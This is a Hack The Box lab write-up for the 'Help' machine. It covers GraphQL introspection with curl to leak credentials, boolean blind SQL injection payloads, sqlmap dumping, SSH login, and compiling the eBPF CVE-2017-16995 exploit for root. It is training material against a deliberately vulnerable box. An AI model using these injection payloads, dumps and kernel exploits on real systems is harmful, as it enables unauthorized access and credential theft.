> For the complete documentation index, see [llms.txt](https://anuragtaparia.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://anuragtaparia.gitbook.io/write-ups/linux/htb-or-help.md).

# HTB | Help

This is the Box on [Hack The Box Linux Privilege Escalation 101 Track](https://app.hackthebox.com/tracks/Linux-Privilege-Escalation-101). Find the box [here](https://app.hackthebox.com/machines/170).&#x20;

#### Skill Learned

* GraphQL enumeration&#x20;
* Blind SQL injection

## NMAP

IP: **10.10.10.121**

```
nmap -sT -p- --min-rate 10000 10.10.10.121
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FBhu9y65uRbKNuTReY8R0%2Fimage.png?alt=media&amp;token=5fd95fde-0cd8-4cd5-b772-9d86bc40e33f" alt=""><figcaption></figcaption></figure>

```
nmap -sC -sV -p 22,80,3000 10.10.10.121
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FuWRNRzGcyXreX3pnQtVD%2Fimage.png?alt=media&amp;token=a0ddcb5b-9f79-4880-8679-d1f9be175148" alt=""><figcaption><p>nmap scan</p></figcaption></figure>

### Port 80

Let's visit port 80

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FK5WoNfB0wADMoXEc2NME%2Fimage.png?alt=media&amp;token=c48c897b-c3fe-4640-adcd-71a0518bcd56" alt=""><figcaption><p>port 80</p></figcaption></figure>

```
dirsearch -u http://help.htb/ -x 403,404
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FOhhmKm66kORzyFLUtQPp%2Fimage.png?alt=media&amp;token=dd4d6aeb-5969-4301-90ba-8749e27b838c" alt=""><figcaption><p>dirsearch</p></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fb7COu6ZQOzrGZ2RBhLaM%2Fimage.png?alt=media&amp;token=521e6c58-072f-4723-b85e-5e129d6baa25" alt=""><figcaption><p>/support/</p></figcaption></figure>

```
searchsploit helpdeskz
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F9t8dezf9nqmnsuUL3Xn7%2Fimage.png?alt=media&amp;token=7116ad94-b701-44a6-9851-57e8e3f91e3a" alt=""><figcaption><p>searchsploit helpdeskz</p></figcaption></figure>

found arbitrary file upload

`searchsploit -m php/webapps/40300.py` to copy the exploit

Exploit requires us to upload a PHP shell file, but it is not allowed

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FqkhvrKr7dtJR7xV08IS2%2Fimage.png?alt=media&amp;token=693c47b6-7f44-4c0f-8630-e0d4cc8644fd" alt=""><figcaption></figcaption></figure>

i tried php,php3,php5,phtml but no luck&#x20;

Let's look at port 3000

### Port 3000

This port hosts an HTTP API. On visiting the root, there’s a message about credentials with the correct query

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FPQjLZyG5xMHIpKdgkyz7%2Fimage.png?alt=media&amp;token=7ce29351-b70f-47d1-8ef9-6d1170f0f958" alt=""><figcaption><p>port 3000</p></figcaption></figure>

#### GraphQL

Looking at the response headers, I see it’s powered by Express:

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fiv2xPow1L2wVA1BMFG3O%2Fimage.png?alt=media&amp;token=0769385b-94c7-432f-8462-e50417ee855a" alt=""><figcaption><p>port 3000</p></figcaption></figure>

Looking around on Google led me to [GraphQL](https://graphql.org/), a query language designed for APIs. When I tried paths that didn’t exist, I got this message:

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fy1i0lFRbYtvFEqkrPnD4%2Fimage.png?alt=media&amp;token=2ff708f5-fae8-4ac5-94b3-d09d7c6c1271" alt=""><figcaption><p>/test</p></figcaption></figure>

But when I tried /graphql, I got:

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FvpHyr1JDQTaQVVDzErAi%2Fimage.png?alt=media&amp;token=b210e970-7849-46db-af68-a2860b57ea08" alt=""><figcaption><p>/graphql</p></figcaption></figure>

This [article](https://graphql.org/learn/introspection/) is a useful guide to enumerating a GraphQL instance. This [post](https://www.apollographql.com/blog/4-simple-ways-to-call-a-graphql-api#2-curl) was useful to figure out how to interact with GraphQL with curl.

I’ll switch to curl here to hit the API. `-s` will silence the progress bar. `-H "Content-Type: application/json"` is necessary for the API to handle the JSON data. Then I’ll use `-d '{ "query": "[query]" }'` it to send the query. Finally, I’ll use `jq` to pretty print the results.

First I’ll get the fields from the schema:&#x20;

```
curl -s 10.10.10.121:3000/graphql -H "Content-Type: application/json" -d '{ "query": "{ __schema { queryType { name, fields { name, description } } } }" }' | jq -c .
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fz8i1FRyanEh7aSuqWN5W%2Fimage.png?alt=media&amp;token=6059fe49-bb5b-4103-9e1f-91798473072d" alt=""><figcaption></figcaption></figure>

I’ll also get the types of User, String, etc:

```
curl -s 10.10.10.121:3000/graphql -H "Content-Type: application/json" -d '{ "query": "{ __schema { types { name } } }" }' | jq .
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F5RxweBN1dz7dyrWapvYu%2Fimage.png?alt=media&amp;token=38073313-9770-4b70-a989-eca2bda9fb48" alt=""><figcaption></figcaption></figure>

I’ll get the fields associated with the User type:

```
curl -s 10.10.10.121:3000/graphql -H "Content-Type: application/json" -d '{ "query": "{ __type(name: "User") { name fields { name } } }" }' | jq .
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F9oUP2RXl9M7KHnGWUkhx%2Fimage.png?alt=media&amp;token=56cd7988-b512-4cac-a5e8-b7cd346270bb" alt=""><figcaption></figcaption></figure>

I'll try to get values

```
curl -s 10.10.10.121:3000/graphql -H "Content-Type: application/json" -d '{ "query": "{ user { username password } }" }' | jq .
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FUCO7W2YbczOhEHT4Nwcc%2Fimage.png?alt=media&amp;token=f6f1b193-d40a-4c04-b3a7-efa46608b982" alt=""><figcaption></figcaption></figure>

from [crackstation](https://crackstation.net/) we got the value.

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fm4wChPo1y9r9YHCPr0Kb%2Fimage.png?alt=media&amp;token=92b5e920-bc7c-42a0-8c03-bd44f91f18bd" alt=""><figcaption></figcaption></figure>

Now let's try to login to portal

and we are in portal

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fu8xriYw3TjOspKnn98Zd%2Fimage.png?alt=media&amp;token=00873322-2798-4c02-bd77-6ab19f6b7975" alt=""><figcaption></figcaption></figure>

## Foothold/shell

I tried submitting the ticket with the attachment test.txt. On submitting, I could see my ticket:

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FRoychB5p6jsYg9i5oFio%2Fimage.png?alt=media&amp;token=2d62cd98-813d-4ec2-92c3-1b124d90a534" alt=""><figcaption></figcaption></figure>

The link to the attachment is: `http://help.htb/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6` If I visit the link I file gets download

The SQLi in the last param. If I add `' AND 1=1-- -'` the file gets downloaded and If I add `' AND 1=2-- -'` I get the below error page

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FANqPovMWCo5swONRbk1r%2Fimage.png?alt=media&amp;token=5a2e5d0d-14b0-4105-b39b-db4a3be70dad" alt=""><figcaption></figcaption></figure>

That’s a blind injection. I can pass some tests in, and get true (downloaded attachment) or false (Whoops!) back.

#### SQLMAP

save the request to a text file and run sqlmap

```
sqlmap -r req.txt --level 5 --risk 3 -p param[]
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fj7hBK9113CF23zNPxCLj%2Fimage.png?alt=media&amp;token=a188732f-40b7-45dd-a1e2-a8228afce994" alt=""><figcaption></figcaption></figure>

I’ve got the injection. Now I’ll run with --dump. One table that looks interesting is:&#x20;

```
sqlmap -r req.txt --level 5 --dump
```

we have found the password

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FUmijpw1UukB5Ez20cGlE%2Fimage.png?alt=media&amp;token=3c264c48-d697-4d09-b0b7-3892accdfe63" alt=""><figcaption><p>sql table</p></figcaption></figure>

let's try to ssh via this

and we are in and found user.txt

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FJp7Yr6MFoFZVNvkVUQsF%2Fimage.png?alt=media&amp;token=45c69bea-f000-462d-bbd2-582a7c9d0df8" alt=""><figcaption><p>user.txt</p></figcaption></figure>

## Priv Esc

Let's copy [linux-exploit-suggester.sh](https://github.com/The-Z-Labs/linux-exploit-suggester) to box.

we got many exploits. Let's start with \[CVE-2017-16995] [eBPF\_verifier](https://www.exploit-db.com/exploits/45010)

Let's copy the exploit to the box and run

```
gcc -o a 45010.c
./a
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FYjd1yotjPd4eRThsYhOJ%2Fimage.png?alt=media&amp;token=ee57a1ec-0e03-4f00-82e2-0045b908a472" alt=""><figcaption><p>./a</p></figcaption></figure>

found **root.txt**

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F5dmCOgUIiodaop4GsCgO%2Fimage.png?alt=media&amp;token=4dfdc545-4f8a-42c8-87f3-95826d0fb285" alt=""><figcaption><p>root.txt</p></figcaption></figure>
